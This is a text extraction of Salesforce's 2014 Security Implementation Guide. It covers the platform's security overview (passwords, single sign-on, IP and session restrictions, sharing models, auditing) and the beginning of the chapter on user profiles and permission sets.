SlideShare a Scribd company logo
Version 30.0: Spring ’14
Security Implementation Guide
Last updated: May 17, 2014
© Copyright 2000–2014 salesforce.com, inc. All rights reserved. Salesforce.com is a registered trademark of salesforce.com, inc., as are other
names and marks. Other marks appearing herein may be trademarks of their respective owners.
Salesforce Administrator | Security Implementation Guide 2014
Table of Contents
Chapter 1: Security Overview...............................................................................................................1
Security Infrastructure...............................................................................................................................................................1
Trust and Salesforce.com..........................................................................................................................................................2
User Security Overview.............................................................................................................................................................2
About Passwords.......................................................................................................................................................................3
User Authentication..................................................................................................................................................................3
My Domain...............................................................................................................................................................................4
Identity Providers......................................................................................................................................................................4
Network-Based Security............................................................................................................................................................4
CAPTCHA Security for Data Exports.........................................................................................................................4
Session Security.........................................................................................................................................................................5
Securing Data Access................................................................................................................................................................5
Auditing....................................................................................................................................................................................7
Chapter 2: Securing and Sharing Data...................................................................................................8
Overview of User Permissions and Access................................................................................................................................8
Revoking Permissions and Access.............................................................................................................................................9
User Profiles Overview..............................................................................................................................................................9
Viewing Profile Lists...................................................................................................................................................10
Editing Multiple Profiles with Profile List Views.......................................................................................................11
Cloning Profiles...........................................................................................................................................................12
Viewing a Profile's Assigned Users..............................................................................................................................12
Enhanced Profile User Interface Overview.............................................................................................................................12
Working in the Enhanced Profile User Interface Overview Page...............................................................................13
App and System Settings in the Enhanced Profile User Interface..............................................................................13
Searching in the Enhanced Profile User Interface.......................................................................................................14
Working with Profiles in the Original Profile Interface..........................................................................................................15
Editing Profiles in the Original Profile Interface........................................................................................................16
Viewing and Editing Tab Settings in Permission Sets and Profiles........................................................................................17
Assigning Record Types and Page Layouts in the Enhanced Profile User Interface..............................................................17
Assigning Record Types to Profiles in the Original Profile User Interface.................................................................19
Assigning Page Layouts in the Original Profile User Interface...................................................................................20
Permission Sets Overview.......................................................................................................................................................20
Creating Permission Sets.............................................................................................................................................21
About User Licenses in Permission Sets..........................................................................................................21
Creating and Editing Permission Set List Views........................................................................................................22
Editing Permission Sets from a List View...................................................................................................................23
Working in a Permission Set's Overview Page............................................................................................................23
About App and System Settings in Permission Sets...................................................................................................24
Permission Set Assigned Users Page...........................................................................................................................25
Searching Permission Sets...........................................................................................................................................25
Viewing and Editing Assigned Apps in Permission Sets............................................................................................26
Assigning Custom Record Types in Permission Sets..................................................................................................26
i
Table of Contents
Overview of Record Type Access....................................................................................................................27
Manage Permission Set Assignments..........................................................................................................................27
Assign Permission Sets to a Single User..........................................................................................................28
Assign a Permission Set to Multiple Users......................................................................................................28
Remove User Assignments from a Permission Set..........................................................................................29
Object Permissions..................................................................................................................................................................29
“View All” and “Modify All” Permissions Overview...................................................................................................30
Comparing Security Models........................................................................................................................................30
Field-Level Security Overview................................................................................................................................................32
Setting Field Permissions in Permission Sets and Profiles..........................................................................................33
Setting Field-Level Security for a Single Field on All Profiles....................................................................................33
Field Permissions.........................................................................................................................................................33
User Permissions.....................................................................................................................................................................34
Desktop Client Access Overview............................................................................................................................................34
Working with Desktop Client Access in the Enhanced Profile User Interface...........................................................35
Viewing and Editing Desktop Client Access in the Original Profile User Interface...................................................35
Setting Login Restrictions.......................................................................................................................................................36
Restricting Login IP Ranges in the Enhanced Profile User Interface.........................................................................38
Restricting Login IP Addresses in the Original Profile User Interface.......................................................................38
Viewing and Editing Login Hours in the Enhanced Profile User Interface................................................................39
Viewing and Editing Login Hours in the Original Profile User Interface..................................................................40
Managing Salesforce Classic Permissions................................................................................................................................40
About Organization-Wide Sharing Defaults..........................................................................................................................41
Setting Your Organization-Wide Sharing Defaults................................................................................................................42
External Organization-Wide Defaults Overview....................................................................................................................43
Setting the External Organization-Wide Defaults......................................................................................................43
Disabling External Organization-Wide Defaults........................................................................................................44
Sharing Rules Overview..........................................................................................................................................................45
Criteria-Based Sharing Rules Overview......................................................................................................................46
Creating Lead Sharing Rules.......................................................................................................................................46
Creating Account Sharing Rules.................................................................................................................................47
Creating Account Territory Sharing Rules..................................................................................................................48
Creating Contact Sharing Rules..................................................................................................................................49
Creating Opportunity Sharing Rules...........................................................................................................................50
Creating Case Sharing Rules.......................................................................................................................................51
Creating Campaign Sharing Rules..............................................................................................................................51
Creating Custom Object Sharing Rules......................................................................................................................52
Creating User Sharing Rules.......................................................................................................................................53
Sharing Rule Categories..............................................................................................................................................54
Editing Lead Sharing Rules........................................................................................................................................55
Editing Account Sharing Rules...................................................................................................................................56
Editing Account Territory Sharing Rules....................................................................................................................57
Editing Contact Sharing Rules....................................................................................................................................57
Editing Opportunity Sharing Rules.............................................................................................................................58
ii
Table of Contents
Editing Case Sharing Rules.........................................................................................................................................58
Editing Campaign Sharing Rules................................................................................................................................59
Editing Custom Object Sharing Rules........................................................................................................................60
Editing User Sharing Rules.........................................................................................................................................60
Sharing Rule Considerations.......................................................................................................................................61
Recalculating Sharing Rules........................................................................................................................................62
Parallel Recalculation...................................................................................................................................................62
User Sharing Overview............................................................................................................................................................63
Understanding User Sharing.......................................................................................................................................63
Setting the Organization-Wide Sharing Defaults for User Records...........................................................................64
Sharing Users...............................................................................................................................................................65
Restoring User Visibility Defaults...............................................................................................................................65
Overview of Roles....................................................................................................................................................................66
About Groups..........................................................................................................................................................................67
Creating and Editing Groups..................................................................................................................................................68
Group Member Types.............................................................................................................................................................69
Viewing All Users in a Group.................................................................................................................................................70
Granting Access to Records....................................................................................................................................................71
Chapter 3: Configuring Salesforce Security Features............................................................................73
Setting Password Policies........................................................................................................................................................73
Expiring Passwords.................................................................................................................................................................75
Restricting Login IP Ranges for Your Organization...............................................................................................................76
Setting Session Security...........................................................................................................................................................77
Chapter 4: Enabling Single Sign-On...................................................................................................81
Chapter 5: Monitoring Your Organization's Security...........................................................................84
Monitoring Login History......................................................................................................................................................84
Tracking Field History............................................................................................................................................................85
Tracking Field History for Standard Objects..............................................................................................................86
Tracking Field History for Custom Objects................................................................................................................87
Methods for Archiving Field History..........................................................................................................................87
Disabling Field History Tracking................................................................................................................................88
Monitoring Setup Changes.....................................................................................................................................................88
Chapter 6: Security Tips for Apex and Visualforce Development...........................................................92
Cross-Site Scripting (XSS)......................................................................................................................................................92
Formula Tags .........................................................................................................................................................................94
Cross-Site Request Forgery (CSRF).......................................................................................................................................95
SOQL Injection......................................................................................................................................................................96
Data Access Control................................................................................................................................................................97
Index.................................................................................................................................................99
iii
Table of Contents
Salesforce Administrator | Security Implementation Guide 2014
Chapter 1
Security Overview
Salesforce is built with security as the foundation for the entire service. This foundation includes both protection for your data
and applications, and the ability to implement your own security scheme to reflect the structure and needs of your organization.
The security features of Salesforce provide both strength and flexibility. However, protecting your data is a joint responsibility
between you and salesforce.com. The security features in Salesforce enable you to empower your users to do their jobs efficiently,
while also limiting exposure of data to the users that need to act upon it. Implement security controls that you think are
appropriate for the sensitivity of your data. Your data is protected from unauthorized access from outside your company, and
you should also safeguard it from inappropriate usage by your users.
See the following topics to get more information about the various security components in Salesforce:
• Security Infrastructure
• Trust and Salesforce.com
• User Security Overview
• About Passwords
• User Authentication
• My Domain
• Identity Providers
• Network-Based Security
• CAPTCHA Security for Data Exports
• Session Security
• Securing Data Access
• Auditing
Security Infrastructure
One of the core features of a multi-tenant platform is the use of a single pool of computing resources to service the needs of
many different customers. Salesforce protects your organization's data from all other customer organizations by using a unique
organization identifier, which is associated with each user's session. Once you log in to your organization, your subsequent
requests are associated with your organization, using this identifier.
Salesforce utilizes some of the most advanced technology for Internet security available today. When you access the application
using a Salesforce-supported browser, Secure Socket Layer (SSL) technology protects your information using both server
authentication and data encryption, ensuring that your data is safe, secure, and available only to registered users in your
organization.
In addition, Salesforce is hosted in a secure server environment that uses a firewall and other advanced technology to prevent
interference or access from outside intruders.
1
Trust and Salesforce.com
Trust starts with transparency. That’s why salesforce.com displays real-time information on system performance and security
on the trust site at http://trust.salesforce.com. This site provides live data on system performance, alerts for current and recent
phishing and malware attempts, and tips on best security practices for your organization.
The Security tab on the trust site includes valuable information that can help you to safeguard your company's data. In particular,
phishing and malware are Internet scams on the rise.
Phishing is a social engineering technique that attempts to acquire sensitive information such as usernames, passwords and
credit card details by masquerading as a trustworthy entity in an electronic communication. Phishers often direct users to enter
details at a fake website whose URL and look-and-feel are almost identical to the legitimate one. As the salesforce.com
community grows, it has become an increasingly appealing target for phishers. You will never get an email or a phone call
from a salesforce.com employee asking you to reveal a password, so you should refuse to reveal it to anyone. You can report
any suspicious activities by clicking the Report a Suspicious Email link under the Trust tab at http://trust.salesforce.com.
Malware is software designed to infiltrate or damage a computer system without the owner's informed consent. It is a general
term used to cover a variety of forms of hostile, intrusive, or annoying software, and it includes computer viruses and spyware.
What Salesforce.com is Doing
Customer security is the foundation of customer success, so salesforce.com will continue to implement the best possible practices
and technologies in this area. Recent and ongoing actions include:
• Actively monitoring and analyzing logs to enable proactive alerts to customers who have been affected.
• Collaborating with leading security vendors and experts on specific threats.
• Executing swift strategies to remove or disable fraudulent sites (often within an hour of detection).
• Reinforcing security education and tightening access policies within salesforce.com.
• Evaluating and developing new technologies both for our customers and for deployment within our infrastructure.
What Salesforce.com Recommends You Do
Salesforce.com is committed to setting the standards in software-as-a-service as an effective partner in customer security. So,
in addition to internal efforts, salesforce.com strongly recommends that customers implement the following changes to enhance
security:
• Modify your Salesforce implementation to activate IP range restrictions. This will allow users to access Salesforce only
from your corporate network or VPN, thus providing a second factor of authentication. For more information, see Setting
Session Security on page 77 and Restricting Login IP Ranges for Your Organization on page 76.
• Educate your employees not to open suspect emails and to be vigilant in guarding against phishing attempts.
• Use security solutions from leading vendors such as Symantec to deploy spam filtering and malware protection.
• Designate a security contact within your organization so that salesforce.com can more effectively communicate with you.
Contact your salesforce.com representative with this information.
• Consider using two-factor authentication techniques, such as RSA tokens, to restrict access to your network.
Salesforce.com has a Security Incident Response Team to respond to any security issues. To report a security incident or
vulnerability to salesforce.com, please contact security@salesforce.com. Describe the issue in detail, and the team will respond
promptly.
User Security Overview
Salesforce provides each user in your organization with a unique username and password that must be entered each time a
user logs in. Salesforce issues a session cookie only to record encrypted authentication information for the duration of a specific
session. The session cookie does not include either the username or password of the user. Salesforce does not use cookies to
2
Trust and Salesforce.comSecurity Overview
store other confidential user and session information, but instead implements more advanced security methods based on
dynamic data and encoded session IDs.
About Passwords
User Permissions Needed
“Manage Users”To set password policies:
“Reset User Passwords and Unlock Users”To reset user passwords and unlock users:
There are several settings you can configure to ensure that your users’ passwords are strong and secure:
• Password policies—set various password and login policies, such as specifying an amount of time before all users’ passwords
expire, the level of complexity required for passwords, and so on. See Setting Password Policies on page 73.
• User password expiration—expire the passwords for all the users in your organization, except for users with “Password
Never Expires” permission. See Expiring Passwords on page 75.
• User password resets—reset the password for specified users. See “Resetting Passwords” in the Salesforce Help.
• Login attempts and lockout periods—if a user is locked out of Salesforce due to too many failed login attempts, you can
unlock them. See “Editing Users” in the Salesforce Help.
Password Requirements
A password cannot contain your User Name and cannot match your first or last name.
For all editions, a new organization has the following default password requirements:
• A password must contain at least eight characters.
• A password must contain at least one alphabetic character and one number.
• The answer to the question posed if you forget your password cannot contain your password.
• The last three passwords are remembered and cannot be reused when you are changing your password.
The password policies, including these defaults, can be updated for all editions except for Personal Edition.
User Authentication
Salesforce has its own system of user authentication, but some companies prefer to use an existing single sign-on capability to
simplify and standardize their user authentication. You have two options to implement single sign-on—federated authentication
using Security Assertion Markup Language (SAML) or delegated authentication.
• Federated authentication using Security Assertion Markup Language (SAML) allows you to send authentication and
authorization data between affiliated but unrelated Web services. This enables you to sign-on to Salesforce from a client
application. Federated authentication using SAML is enabled by default for your organization.
• Delegated authentication single sign-on enables you to integrate Salesforce with an authentication method that you choose.
This enables you to integrate authentication with your LDAP (Lightweight Directory Access Protocol) server, or perform
single sign-on by authenticating using a token instead of a password. You manage delegated authentication at the permission
level, allowing some users to use delegated authentication, while other users continue to use their Salesforce-managed
password. Delegated authentication is set by permissions, not by organization. You must request that this feature be enabled
by salesforce.com. Contact salesforce.com to enable delegated authentication single sign-on for your organization.
The primary reasons for using delegated authentication include:
◊ Using a stronger type of user authentication, such as integration with a secure identity provider
3
About PasswordsSecurity Overview
◊ Making your login page private and not part of the general Internet, but rather, part of your corporate network, behind
your corporate firewall
◊ Differentiating your organization from all other companies that use Salesforce in order to reduce phishing attacks
My Domain
Using My Domain, you can define a custom Salesforce domain name. A custom domain name helps you better manage login
and authentication for your organization in several key ways.
• Highlight your business identity with your unique domain URL.
• Brand your login screen and customize right-frame content.
• Block or redirect page requests that don’t use the new domain name.
• Access increased support for single sign-on.
• Set custom login policy and determine how users are authenticated.
• Let users select an alternate identity provider from the login page.
For more information, see “My Domain Overview” in the Salesforce online help.
Identity Providers
An identity provider is a trusted provider that enables you to use single sign-on to access other websites. A service provider is a
website that hosts applications. You can enable Salesforce as an identity provider, then define one or more service providers,
so your users can access other applications directly from Salesforce using single sign-on. This can be a great help to your users:
instead of having to remember many passwords, they will only have to remember one. Plus, the applications can be added as
tabs to your Salesforce organization, which means users won’t have to switch between programs.
For more information, see “About Identity Providers and Service Providers” in the Salesforce online help.
Network-Based Security
User authentication determines who can log in, while network-based security limits where they can log in from and when. Use
network-based security to limit the window of opportunity for an attacker by restricting the origin of user logins. Network-based
security can also make it more difficult for an attacker to use stolen credentials.
To enhance network-based security, Salesforce includes the ability to restrict the hours during which users can log in and the
range of IP addresses from which they can log in. If IP address restrictions are defined for a user's profile and a login originates
from an unknown IP address, Salesforce does not allow the login. This helps to protect your data from unauthorized access
and “phishing” attacks.
To set the organization-wide list of trusted IP addresses from which users can always log in without a login challenge, see
Restricting Login IP Ranges for Your Organization on page 76. To restrict login hours by profile, or to restrict logins by IP
addresses for specific profiles, see Setting Login Restrictions on page 36.
CAPTCHA Security for Data Exports
By request, salesforce.com can also require users to pass a user verification test to export data from Salesforce. This simple,
text-entry test helps prevent malicious programs from accessing your organization’s data, as well as reducing the risk of
automated attacks. CAPTCHA is a type of network-based security. To pass the test, users must type two words displayed on
an overlay into the overlay’s text box field, and click a Submit button. Salesforce uses CAPTCHA technology provided by
4
My DomainSecurity Overview
reCaptcha to verify that a person, as opposed to an automated program, has correctly entered the text into the overlay.
CAPTCHA stands for “Completely Automated Public Turing test to tell Computers and Humans Apart.”
Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a
user leaves their computer unattended while still logged on. It also limits the risk of internal attacks, such as when one employee
tries to use another employee’s session.
You can control the session expiration time window for user logins. Session expiration allows you to select a timeout for user
sessions. The default session timeout is two hours of inactivity. When the session timeout is reached, users are prompted with
a dialog that allows them to log out or continue working. If they do not respond to this prompt, they are automatically logged
out.
Note: When a user closes a browser window or tab they are not automatically logged off from their Salesforce session.
Please ensure that your users are aware of this, and that they end all sessions properly by clicking Your Name >
Logout.
By default, Salesforce uses SSL (Secure Sockets Layer) and requires secure connections (HTTPS) for all communication. The
Require secure connections (HTTPS) setting determines whether SSL (HTTPS) is required for access to Salesforce,
apart from Force.com sites, which can still be accessed using HTTP. If you ask salesforce.com to disable this setting and
change the URL from https:// to http://, you can still access the application. However, you should require all sessions
to use SSL for added security. See Setting Session Security on page 77.
You can restrict access to certain types of resources based on the level of security associated with the authentication (login)
method for the user’s current session. By default, each login method has one of two security levels: Standard or High Assurance.
You can change the session security level and define policies so specified resources are only available to users with a High
Assurance level. For details, see Session-level Security on page 79.
Securing Data Access
Choosing the data set that each user or group of users can see is one of the key decisions that affects data security. You need
to find a balance between limiting access to data, thereby limiting risk of stolen or misused data, versus the convenience of
data access for your users.
Note: Who Sees What: Overview
Watch a demo on controlling access to and visibility of your data.
To enable users to do their job without exposing data that they do not need to see, Salesforce provides a flexible, layered sharing
design that allows you to expose different data sets to different sets of users.
• To specify the objects that users can access, you can assign permission sets and profiles.
• To specify the fields that users can access, you can use field-level security.
• To specify the individual records that users can view and edit, you can set your organization-wide sharing settings, define
a role hierarchy, and create sharing rules.
Tip: When implementing security and sharing rules for your organization, make a table of the various types of users
in your organization. In the table, specify the level of access to data that each type of user needs for each object and
for fields and records within the object. You can refer to this table as you set up your security model.
The following describes these security and sharing settings:
5
Session SecuritySecurity Overview
Object-Level Security (Permission Sets and Profiles)
Object-level security—or object permissions—provide the bluntest way to control data. Using object permissions you
can prevent a user from seeing, creating, editing, or deleting any instance of a particular type of object, such as a lead or
opportunity. Object permissions let you hide whole tabs and objects from particular users, so that they don’t even know
that type of data exists.
You specify object permissions in permission sets and profiles. Permission sets and profiles are collections of settings and
permissions that determine what a user can do in the application, similar to a group in a Windows network, where all
of the members of the group have the same folder permissions and access to the same software.
Profiles are typically defined by a user’s job function (for example, system administrator or sales representative). A profile
can be assigned to many users, but a user can be assigned to only one profile. You can use permission sets to grant
additional permissions and access settings to users. It’s easy to manage users’ permissions and access with permission
sets, because you can assign multiple permission sets to a single user.
Field-Level Security (Permission Sets and Profiles)
In some cases, you may want users to have access to an object, but limit their access to individual fields in that object.
Field-level security—or field permissions—control whether a user can see, edit, and delete the value for a particular field
on an object. They let you protect sensitive fields without having to hide the whole object from users. Field permissions
are also controlled in permission sets and profiles.
Unlike page layouts, which only control the visibility of fields on detail and edit pages, field permissions control the
visibility of fields in any part of the app, including related lists, list views, reports, and search results. To ensure that a
user can’t access a particular field, use field permissions. No other settings provide the same level of protection for a field.
Note: Field-level security doesn’t prevent searching on the values in a field. When search terms match on field
values protected by field-level security, the associated records are returned in the search results without the
protected fields and their values.
Record-Level Security (Sharing)
After setting object- and field-level access permissions, you may want to configure access settings for the actual records
themselves. Record-level security lets you give users access to some object records, but not others. Every record is owned
by a user or a queue. The owner has full access to the record. In a hierarchy, users higher in the hierarchy always have
the same access to users below them in the hierarchy. This access applies to records owned by users, as well as records
shared with them.
To specify record-level security, set your organization-wide sharing settings, define a hierarchy, and create sharing rules.
• Organization-wide sharing settings—The first step in record-level security is to determine the organization-wide
sharing settings for each object. Organization-wide sharing settings specify the default level of access users have to
each others’ records.
You use organization-wide sharing settings to lock down your data to the most restrictive level, and then use the
other record-level security and sharing tools to selectively give access to other users. For example, let’s say users have
object-level permissions to read and edit opportunities, and the organization-wide sharing setting is Read-Only. By
default, those users can read all opportunity records, but can’t edit any unless they own the record or are granted
additional permissions.
• Role hierarchy—Once you’ve specified organization-wide sharing settings, the first way you can give wider access to
records is with a role hierarchy. Similar to an organization chart, a role hierarchy represents a level of data access that
a user or group of users needs. The role hierarchy ensures that users higher in the hierarchy always have access to the
same data as people lower in their hierarchy, regardless of the organization-wide default settings. Role hierarchies
don’t have to match your organization chart exactly. Instead, each role in the hierarchy should represent a level of
data access that a user or group of users needs.
6
Securing Data AccessSecurity Overview
You can also use a territory hierarchy to share access to records. A territory hierarchy grants users access to records
based on criteria such as zip code, industry, revenue, or a custom field that is relevant to your business. For example,
you could create a territory hierarchy in which a user with the “North America” role has access to different data than
users with the “Canada” and “United States” roles.
Note: Although it’s easy to confuse permission sets and profiles with roles, they control two very different
things. Permission sets and profiles control a user’s object and field access permissions. Roles primarily
control a user’s record-level access through role hierarchy and sharing rules.
• Sharing rules—Sharing rules let you make automatic exceptions to organization-wide sharing settings for particular
sets of users, to give them access to records they don’t own or can’t normally see. Sharing rules, like role hierarchies,
are only used to give additional users access to records—they can’t be stricter than your organization-wide default
settings.
• Manual sharing—Sometimes it’s impossible to define a consistent group of users who need access to a particular set
of records. In those situations, record owners can use manual sharing to give read and edit permissions to users who
would not have access to the record any other way. Although manual sharing isn’t automated like organization-wide
sharing settings, role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records
with users that need to see them.
• Apex managed sharing—If sharing rules and manual sharing don’t give you the control you need, you can use Apex
managed sharing. Apex managed sharing allows developers to programmatically share custom objects. When you
use Apex managed sharing to share a custom object, only users with the “Modify All Data” permission can add or
change the sharing on the custom object's record, and the sharing access is maintained across record owner changes.
Auditing
Auditing features do not secure your organization by themselves, but these features provide information about usage of the
system, which can be critical in diagnosing potential or real security issues. It is important that someone in your organization
perform regular audits to detect potential abuse. The other security features provided by Salesforce are preventative. To verify
that your system is actually secure, you should perform audits to monitor for unexpected changes or usage trends.
Auditing features include:
Record Modification Fields
All objects include fields to store the name of the user who created the record and who last modified the record. This
provides some basic auditing information.
Login History
You can review a list of successful and failed login attempts to your organization for the past six months. See Monitoring
Login History on page 84.
Field History Tracking
You can also enable auditing for individual fields, which will automatically track any changes in the values of selected
fields. Although auditing is available for all custom objects, only some standard objects allow field-level auditing. See
Tracking Field History on page 85.
Setup Audit Trail
Administrators can also view a Setup Audit Trail, which logs when modifications are made to your organization’s
configuration. See Monitoring Setup Changes on page 88.
7
AuditingSecurity Overview
Chapter 2
Securing and Sharing Data
Review the following sections for detailed instructions and tips on securing access to your data in Salesforce.
Overview of User Permissions and Access
User permissions and access settings specify what users can do within an organization. For example, permissions determine a
user's ability to edit an object record, view the Setup menu, empty the organizational Recycle Bin, or reset a user's password.
Access settings determine other functions, such as access to Apex classes, app visibility, and the hours when users can log in.
Permissions and access settings are specified in user profiles and permission sets. Every user is assigned only one profile, but
can also have multiple permission sets.
When determining access for your users, it's a good idea to use profiles to assign the minimum permissions and access settings
for specific groups of users, then use permission sets to grant additional permissions.
Because you can assign many permission sets to users and permission sets are reusable, you can distribute access among more
logical groupings of users, regardless of their primary job function. For example, you can create a permission set that gives
read access to a custom object and assign it to a large group of users, and create another permission set that gives edit access
to the object and assign it to only a few users. You can assign these permission sets to various types of users, regardless of their
profiles.
The following table shows the types of permissions and access settings that are specified in profiles and permission sets. Some
profile settings aren't included in permission sets.
In Permission Sets?In Profiles?Permission or Setting Type
Assigned apps
Tab settings
Record type assignments
Page layout assignments
Object permissions
Field permissions
User permissions (app and system)
Apex class access
Visualforce page access
Service provider access (if Salesforce is
enabled as an identity provider)
8
In Permission Sets?In Profiles?Permission or Setting Type
Desktop client access
Login hours
Login IP ranges
Revoking Permissions and Access
You can use profiles and permission sets to grant access, but not to deny access. Any permission granted from either a profile
or permission set is honored. For example, if “Transfer Record” isn't enabled in Jane Smith's profile, but is enabled in two of
her permission sets, she can transfer records regardless of whether she owns them. To revoke a permission, you must remove
all instances of the permission from the user. You can do this with the following actions—each has possible consequences.
ConsequenceAction
The permission or access setting is disabled for all other users
assigned to the profile or permission sets.
Disable a permission or remove an access setting in the profile
and any permission sets that are assigned to the user.
The user may lose other permissions or access settings
associated with the profile or permission sets.
If a permission or access setting is enabled in the user's profile,
assign a different profile to the user.
AND
If the permission or access setting is enabled in any permission
sets that are assigned to the user, remove the permission set
assignments from the user.
To resolve the consequence in either case, consider all possible options. For example, you can clone the assigned profile or any
assigned permission sets where the permission or access setting is enabled, disable the permission or access setting, and assign
the cloned profile or permission sets to the user. Another option is to create a base profile with the least number of permissions
and settings that represents the largest number of users possible, then create permission sets that layer additional access.
User Profiles Overview
A profile contains user permissions and access settings that control what users can do within their organization.
Note: Who Sees What: Object Access
Watch how you can grant users access to objects using profiles.
Depending on which profile user interface is enabled in your organization, you can:
• View and edit profiles in the enhanced profile user interface
• View and edit profiles in the original profile user interface
You can also use a list view to edit multiple profiles.
Profiles control:
• Which standard and custom apps users can view
9
Revoking Permissions and AccessSecuring and Sharing Data
• Which tabs users can view
• Which record types are available to users
• Which page layouts users see
• Object permissions that allow users to create, read, edit, and delete records
• Which fields within objects users can view and edit
• Permissions that allow users to manage the system and apps within it
• Which Apex classes and Visualforce pages users can access
• Which desktop clients users can access
• The hours during which and IP addresses from which users can log in
• Which service providers users can access (if Salesforce is enabled as an identity provider)
In Contact Manager, Group, and Professional Edition organizations, you can assign standard profiles to your users, but you
can't view or edit the standard profiles or create custom profiles. In Enterprise, Unlimited, Performance, and Developer Edition
organizations, you can use standard profiles, or create, edit, and delete custom profiles. For standard profiles, only certain
settings can be changed.
Each standard or custom profile belongs to exactly one user license type.
Viewing Profile Lists
User Permissions Needed
“View Setup and Configuration”To view profiles, and print profile lists:
“Manage Users”To delete profile list views:
“Manage Users”
AND
“Customize Application”
To delete custom profiles:
A profile contains user permissions and access settings that control what users can do within their organization. To view the
profiles in your organization, from Setup, click Manage Users > Profiles.
Viewing Enhanced Profile Lists
If enhanced profile list views are enabled for your organization, you can use additional tools to customize, navigate, manage,
and print profile lists.
• Show a filtered list of profiles by selecting a view from the drop-down list.
• Delete a view by selecting it from the drop-down list and clicking Delete.
• Create a list view or edit an existing view.
• Create a profile.
• Print the list view by clicking .
•
Refresh the list view after creating or editing a view by clicking .
• Edit permissions directly in the list view.
• View or edit a profile by clicking its name.
• Delete a custom profile by clicking Del next to its name.
10
Viewing Profile ListsSecuring and Sharing Data
Viewing the Basic Profile List
• Create a profile.
• View or edit a profile by clicking its name.
• Delete a custom profile by clicking Del next to its name.
Editing Multiple Profiles with Profile List Views
User Permissions Needed
“Manage Users”
AND
“Customize Application”
To edit multiple profiles from the list view:
If enhanced profile list views are enabled for your organization, you can change permissions in up to 200 profiles directly from
the list view, without accessing individual profile pages. Editable cells display a pencil icon ( ) when you hover over the cell,
while non-editable cells display a lock icon ( ). In some cases, such as in standard profiles, the pencil icon appears but the
setting is not actually editable.
Warning: Use care when editing profiles with this method. Because profiles affect a user's fundamental access,
making mass changes may have a widespread effect on users in your organization.
To change permissions in one or more profiles:
1. Select or create a list view that includes the profiles and permissions you want to edit.
2. To edit multiple profiles, select the checkbox next to each profile you want to edit. If you select profiles on multiple pages,
Salesforce remembers which profiles are selected.
3. Double-click the permission you want to edit. For multiple profiles, double-click the permission in any of the selected
profiles.
4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change
other permissions. For example, if “Customize Application” and “View Setup and Configuration” are disabled and you
enable “Customize Application,” then “View Setup and Configuration” is also enabled. In this case, the dialog box lists
the affected permissions.
5. To change multiple profiles, select All n selected records (where n is the number of profiles you selected).
6. Click Save.
Note:
• For standard profiles, inline editing is available only for the “Single Sign-On” and “Affected By Divisions”
permissions.
• If you edit multiple profiles, only those profiles that support the permission you are changing will change. For
example, if you use inline editing to add “Modify All Data” to multiple profiles, but because of its user license the
profile doesn't have “Modify All Data,” the profile won't change.
If any errors occur, an error message appears, listing each profile in error and a description of the error. Click the profile name
to open the profile detail page. The profiles you've clicked appear in the error window in gray, strike-through text.
Note: To view the error console, you must have pop-up blockers disabled for the Salesforce domain.
11
Editing Multiple Profiles with Profile List ViewsSecuring and Sharing Data
Any changes you make are recorded in the setup audit trail.
Cloning Profiles
Available in: Enterprise, Performance, Unlimited, Developer, and Database.com Editions
User Permissions Needed
“Manage Users”To create profiles:
Tip: If you’re cloning a profile to enable certain permissions or access settings for one or more users, you might be
able to enable those permissions or access settings using permission sets. For more information, see Permission Sets
Overview.
1. From Setup, click Manage Users > Profiles.
2. In the Profiles list page, do one of the following:
• Click New Profile, then select an existing profile that’s similar to the one you want to create.
• If enhanced profile list views are enabled, click Clone next to a profile that’s similar to the one you want to create.
• Click the name of a profile that’s similar to the one you want to create, then in the profile page, click Clone.
A new profile uses the same user license as the profile it was cloned from.
3. Enter a profile name.
4. Click Save.
Viewing a Profile's Assigned Users
User Permissions Needed
“View Setup and Configuration”To view users that are assigned to a profile:
“Manage Users”To create and edit users:
To view all users that are assigned to a profile from the profile overview page, click Assigned Users (in the enhanced profile
user interface) or View Users (in the original profile user interface). From the assigned users page, you can:
• Create one or multiple users
• Reset passwords for selected users
• Edit a user
• View a user's detail page by clicking the name, alias, or username
• View or edit a profile by clicking the profile name
• If Google Apps™ is enabled in your organization, export users to Google and create Google Apps accounts by clicking
Export to Google Apps
Enhanced Profile User Interface Overview
The enhanced profile user interface provides a streamlined experience for managing profiles. With it, you can easily navigate,
search, and modify settings for a profile.
12
Cloning ProfilesSecuring and Sharing Data
You can enable the enhanced profile user interface in the User Interface settings page. Your organization can only use one
profile user interface at a time.
Note: You can't use the enhanced profile user interface if:
• You use Microsoft® Internet Explorer® 6 or earlier to manage your profiles (unless you've installed the Google
Chrome Frame™ plug-in for Internet Explorer).
• Your organization uses category groups on guest profiles used for sites.
• Your organization delegates partner portal administration to portal users.
Working in the Enhanced Profile User Interface Overview Page
User Permissions Needed
“View Setup and Configuration”To view profiles:
“Manage Users”To delete profiles and edit profile properties:
In the enhanced profile user interface, the profile overview page provides an entry point for all of the settings and permissions
for a single profile. To open the profile overview page, from Setup, click Manage Users > Profiles and click the profile you
want to view.
From the profile overview page, you can:
• Search for an object, permission, or setting
• Clone the profile
• If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete
• Change the profile name or description by clicking Edit Properties
• View a list of users who are assigned to the profile
• Click any of the links on the page to view or edit permissions and settings.
◊ Assigned Apps
◊ Object Settings (tab settings, record types and page layout settings, object permissions, and field permissions)
◊ App Permissions
◊ Apex Class Access
◊ Visualforce Page Access
◊ Data Category Visibility (if you've enabled data categories)
◊ System Permissions
◊ Desktop Client Access
◊ Login Hours
◊ Login IP Ranges
◊ Service Providers (if Salesforce is enabled as an identity provider)
App and System Settings in the Enhanced Profile User Interface
In the enhanced profile user interface, administrators can easily navigate, search, and modify settings for a single profile.
Permissions and settings are organized into pages under app and system categories, which reflect the rights users need to
administer and use app and system resources.
13
Working in the Enhanced Profile User Interface Overview
Page
Securing and Sharing Data
App Settings
Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components,
data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs
that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let's say you do most of
your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather
than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and
campaign members.
In the enhanced profile user interface, the Apps section of the overview page contains settings that are directly associated with
the business processes that the apps enable. For example, customer service agents may need to manage cases, so the “Manage
Cases” permission is in the Call Center section of the App Permissions page. Some app settings aren't related to app permissions.
